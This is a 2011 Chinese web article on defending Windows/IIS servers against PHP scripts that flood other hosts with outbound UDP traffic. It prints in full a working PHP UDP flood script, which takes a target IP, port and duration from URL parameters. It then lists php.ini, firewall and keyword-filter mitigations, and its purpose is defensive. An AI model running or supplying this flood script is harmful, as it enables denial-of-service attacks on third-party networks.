防止用户利用PHP代码DOS造成用光网络带宽

 更新时间:2011年03月01日 16:00:12   作者:  
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
(福利推荐:【腾讯云】服务器最新限时优惠活动,云服务器1核2G仅99元/年、2核4G仅768元/3年,立即抢购>>>:9i0i.cn/qcloud

(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
复制代码 代码如下:

$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词

相关文章

  • PHP漏洞全解(详细介绍)

    PHP漏洞全解(详细介绍)

    针对PHP的网站主要存在下面几种攻击方式,这里介绍下,大家在书写php代码的时候一定要注意下
    2012-11-11
  • PHP中强制类型转换的示例详解

    PHP中强制类型转换的示例详解

    这篇文章主要给大家介绍了关于PHP中强制类型转换的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-01-01
  • PHP SESSION机制的理解与实例

    PHP SESSION机制的理解与实例

    今天小编就为大家分享一篇关于PHP SESSION机制的理解与实例,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2019-03-03
  • PHP日志LOG类定义与用法示例

    PHP日志LOG类定义与用法示例

    这篇文章主要介绍了PHP日志LOG类定义与用法,结合实例形式分析了日志log的具体定义及使用方法,涉及php文件读写、日期时间及字符串等相关操作技巧,需要的朋友可以参考下
    2018-09-09
  • php 使用 __call实现重载功能示例

    php 使用 __call实现重载功能示例

    这篇文章主要介绍了php 使用 __call实现重载功能,结合实例形式分析了PHP使用__call实现重载的相关操作技巧,需要的朋友可以参考下
    2019-11-11
  • Smarty+QUICKFORM小小演示

    Smarty+QUICKFORM小小演示

    Smarty+QUICKFORM小小演示...
    2007-02-02
  • PHP文件上传安全:优化代码有效防范漏洞

    PHP文件上传安全:优化代码有效防范漏洞

    PHP文件上传安全是网站开发中至关重要的一环,想要避免恶意攻击和数据泄露?本指南将为您揭示优化代码、有效防范漏洞的关键方法,让我们一起打造更安全的文件上传系统吧!
    2023-12-12
  • PHP单元测试配置与使用方法详解

    PHP单元测试配置与使用方法详解

    这篇文章主要介绍了PHP单元测试配置与使用方法,结合实例形式详细分析了PHP单元测试的具体安装、配置、使用方法及相关操作注意事项,需要的朋友可以参考下
    2019-12-12
  • PHP的serialize序列化数据以及JSON格式化数据分析

    PHP的serialize序列化数据以及JSON格式化数据分析

    这篇文章的内容是PHP的serialize序列化数据以及JSON格式化数据分析,需要的朋友可以参考下
    2015-10-10
  • 浅析is_writable的php实现

    浅析is_writable的php实现

    本篇文章是对is_writable的php实现方法进行了详细的分析介绍,需要的朋友参考下
    2013-06-06

最新评论

?


http://www.vxiaotou.com